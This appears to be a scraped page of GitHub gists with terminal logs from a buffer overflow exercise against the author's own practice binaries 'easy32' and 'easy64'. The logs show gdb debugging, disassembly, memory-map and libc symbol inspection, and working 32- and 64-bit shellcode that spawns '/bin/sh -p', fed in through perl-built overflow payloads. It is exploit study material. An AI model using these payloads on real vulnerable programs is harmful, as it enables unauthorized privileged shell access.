Austin Howard fgsahoward
fgsahoward
/ easy32_debugging5
Created
June 11, 2018 15:37
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| [howard@sterling shellcodes]$ env > shell.env | |
| [howard@sterling shellcodes]$ gdb -q ../easy32 | |
| Reading symbols from ../easy32...done. | |
| (gdb) r `env > gdb.env` | |
| Starting program: /home/howard/repos/bof/easy32 `env > gdb.env` | |
| [Inferior 1 (process 2920) exited with code 01] | |
| (gdb) q | |
| [howard@sterling shellcodes]$ wc -c shell.env | |
| 1004 shell.env | |
| [howard@sterling shellcodes]$ wc -c gdb.env |
fgsahoward
/ easy32_debugging6
Created
June 11, 2018 15:37
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| [howard@sterling shellcodes]$ /home/howard/repos/bof/easy32 `perl -e 'print "\x31\xff\x57\xeb\x2b\x8b\x3c\x24\x31\xd2\xb2\x41\x30\x57\x07\x8b\x7c\x24\x04\x30\x57\x02\x8b\x1c\x24\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41\xe8\xee\xff\xff\xff\x2d\x70\x41", "A"x0x3d4, "\x77\xd1\xff\xff"'` | |
| Input: 1�W�+�<$1ҲA0W�|$0W� $��1�1�� | |
| �����/bin/shA�����-pAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA |
fgsahoward
/ easy32_main_disassembly
Created
June 11, 2018 15:38
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| [howard@sterling shellcodes]$ gdb -q ../easy32 | |
| Reading symbols from ../easy32...done. | |
| (gdb) disas main | |
| Dump of assembler code for function main: | |
| 0x08048483 <+0>: lea 0x4(%esp),%ecx | |
| 0x08048487 <+4>: and $0xfffffff0,%esp | |
| 0x0804848a <+7>: pushl -0x4(%ecx) | |
| 0x0804848d <+10>: push %ebp | |
| 0x0804848e <+11>: mov %esp,%ebp | |
| 0x08048490 <+13>: push %ecx |
fgsahoward
/ easy32_debugging7
Created
June 11, 2018 15:39
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| [howard@sterling shellcodes]$ /home/howard/repos/bof/easy32 `perl -e 'print "\x31\xff\x57\xeb\x2b\x8b\x3c\x24\x31\xd2\xb2\x41\x30\x57\x07\x8b\x7c\x24\x04\x30\x57\x02\x8b\x1c\x24\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41\xe8\xee\xff\xff\xff\x2d\x70\x41", "A"x0x3d4, "\x70\xd1\xff\xff"'` | |
| Input: 1�W�+�<$1ҲA0W�|$0W� $��1�1�� | |
| �����/bin/shA�����-pAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA |
fgsahoward
/ easy64_debugging1
Created
June 11, 2018 15:40
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| [howard@sterling shellcodes]$ cat shell3_64.sc | |
| \x48\x31\xff\x57\xeb\x34\x4c\x8b\x04\x24\x4d\x31\xc9\x41\xb1\x41\x45\x30\x48\x07\x4c\x89\xc7\x4c\x8b\x44\x24\x08\x4d\x31\x48\x02\x48\x89\xe6\x48\x31\xd2\x48\x31\xc0\xb0\x3b\x0f\x05\xe8\xd4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41\xe8\xee\xff\xff\xff\x2d\x70\x41 | |
| [howard@sterling shellcodes]$ cat shell3_64.sc | wc -c | |
| 265 | |
| [howard@sterling shellcodes]$ gdb -q ../easy64 | |
| Reading symbols from ../easy64...(no debugging symbols found)...done. | |
| (gdb) disas main | |
| Dump of assembler code for function main: | |
| 0x00000000004005bd <+0>: push %rbp | |
| 0x00000000004005be <+1>: mov %rsp,%rbp |
fgsahoward
/ easy64_debugging2
Created
June 11, 2018 15:41
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| [howard@sterling shellcodes]$ perl -e 'print "\x48\x31\xff\x57\xeb\x34\x4c\x8b\x04\x24\x4d\x31\xc9\x41\xb1\x41\x45\x30\x48\x07\x4c\x89\xc7\x4c\x8b\x44\x24\x08\x4d\x31\x48\x02\x48\x89\xe6\x48\x31\xd2\x48\x31\xc0\xb0\x3b\x0f\x05\xe8\xd4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41\xe8\xee\xff\xff\xff\x2d\x70\x41", "A"x0x3c6, "\x20\xe0\xff\xff\xff\x7f"' > input | |
| [howard@sterling shellcodes]$ gdb -q ../easy64 | |
| Reading symbols from ../easy64...(no debugging symbols found)...done. | |
| (gdb) r "$(cat input)" | |
| Starting program: /home/howard/repos/bof/easy64 "$(cat input)" | |
| Input: H1�W�4L�$M1�A�AE0HL��L�DM1HH��H1�H1��;�����/bin/shA�����-pAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA |
fgsahoward
/ easy64_debugging3
Created
June 11, 2018 15:42
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| [howard@sterling shellcodes]$ perl -e 'print "\x48\x31\xff\x57\xeb\x34\x4c\x8b\x04\x24\x4d\x31\xc9\x41\xb1\x41\x45\x30\x48\x07\x4c\x89\xc7\x4c\x8b\x44\x24\x08\x4d\x31\x48\x02\x48\x89\xe6\x48\x31\xd2\x48\x31\xc0\xb0\x3b\x0f\x05\xe8\xd4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41\xe8\xee\xff\xff\xff\x2d\x70\x41", "A"x0x3c6, "\x10\xe0\xff\xff\xff\x7f"' > input | |
| [howard@sterling shellcodes]$ /home/howard/repos/bof/easy64 "$(cat input)" | |
| Input: H1�W�4L�$M1�A�AE0HL��L�DM1HH��H1�H1��;�����/bin/shA�����-pAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA |
fgsahoward
/ examining_process_memory_regions
Created
June 11, 2018 17:17
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| [howard@sterling bof]$ pidof cat | |
| 16604 | |
| [howard@sterling bof]$ cat /proc/16604/maps | |
| 00400000-0040c000 r-xp 00000000 08:02 2893873 /usr/bin/cat | |
| 0060b000-0060c000 r--p 0000b000 08:02 2893873 /usr/bin/cat | |
| 0060c000-0060d000 rw-p 0000c000 08:02 2893873 /usr/bin/cat | |
| 0060d000-0062e000 rw-p 00000000 00:00 0 [heap] | |
| 7ffff785b000-7ffff7a3c000 r--p 00000000 08:02 2905881 /usr/lib/locale/locale-archive | |
| 7ffff7a3c000-7ffff7bd1000 r-xp 00000000 08:02 2886815 /usr/lib/libc-2.24.so | |
| 7ffff7bd1000-7ffff7dd0000 ---p 00195000 08:02 2886815 /usr/lib/libc-2.24.so |
fgsahoward
/ examining_binary_so_dependencies
Created
June 11, 2018 17:21
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| [howard@sterling bof]$ ldd easy32 | |
| linux-gate.so.1 (0xf7fd8000) | |
| libc.so.6 => /usr/lib32/libc.so.6 (0xf7dfa000) | |
| /lib/ld-linux.so.2 (0xf7fda000) |
fgsahoward
/ examining_libc_symbols
Created
June 11, 2018 17:23
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| [howard@sterling bof]$ nm /usr/lib32/libc.so.6 | grep execve | |
| 000b27c0 W execve | |
| 000b27c0 t __execve | |
| 000b27f0 T fexecve | |
| 000b27c0 t __GI_execve | |
| 000b27c0 t __GI___execve |